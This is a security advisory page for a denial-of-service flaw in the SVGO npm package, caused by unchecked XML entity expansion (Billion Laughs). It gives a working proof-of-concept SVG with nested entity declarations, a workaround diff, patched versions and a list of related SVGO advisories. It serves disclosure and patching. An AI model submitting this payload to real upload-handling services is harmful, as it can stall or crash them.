Alta

SVGO DoS through entity expansion in DOCTYPE (Billion Laughs)

Publicada: 04.03.2026
Actualizado: 11.10.2026 10:22

Summary

SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.

Details

The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.

However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.

Proof of Concept

import { optimize } from 'svgo';

/** Presume that this string was obtained in some other way, such as network. */
const original = `
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
  <lolz>&lol9;</lolz>
`;

optimize(original);

Impact

If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.

It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.

Patches

SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.

Workarounds

== 4.0.0

For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:

For example:

bash

yarn up -R sax

New options were introduced upstream which makes the way SVGO parses SVGs safe by default.

>= 2.1.0, <= 3.3.2

Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.

Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.

diff

+ import SAX from 'sax';
  import { optimize } from 'svgo';

- const original =`
+ let original = `
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  `;

+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+   original = original.replace(doctype, '');
+ }
+ parser.write(original);

  optimize(original);

Resources

Wikipedia: Billion laughs attack

Software afectado

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Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	svgo	>= 2.1.0, < 2.8.1, >= 3.0.0, < 3.3.3, >= 4.0.0, < 4.0.1	2.8.1, 3.3.3, 4.0.1

Referencias

Puntuación CVSS 7.5/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-776
Plataforma: npm
Paquete: svgo
Publicada: 04.03.2026
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-xpqw-6gx7-v673 - CC BY 4.0

Historial de vulnerabilidades: svgo

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 4
Primera → última: 03.2026 09.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Alta 3
Media 1

Divulgaciones por año

2026: 4

08.09.2026

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Alta · 8.2 CVE-2026-84370 >= 1.0.0, < 2.8.4, >= 3.0.0, < 3.3.5, >= 4.0.0, < 4.1.0 2.8.4, 3.3.5, 4.1.0
08.09.2026

SVGO: removeScripts incompletely sanitizes executable HTML in SVG foreignObject elements

Media · 6.1 CVE-2026-84369 >= 1.0.0, < 2.8.4, >= 3.0.0, < 3.3.5, >= 4.0.0, < 4.1.0 2.8.4, 3.3.5, 4.1.0
21.07.2026

SVGO removeScripts plugin leaves some executable scripts intact

Alta · 8.2 CVE-2026-73650 >= 1.0.0, < 2.8.3, >= 3.0.0, < 3.3.4, >= 4.0.0, < 4.0.2 2.8.3, 3.3.4, 4.0.2
04.03.2026

SVGO DoS through entity expansion in DOCTYPE (Billion Laughs) esta entrada

Alta · 7.5 CVE-2026-29074 >= 2.1.0, < 2.8.1, >= 3.0.0, < 3.3.3, >= 4.0.0, < 4.0.1 2.8.1, 3.3.3, 4.0.1

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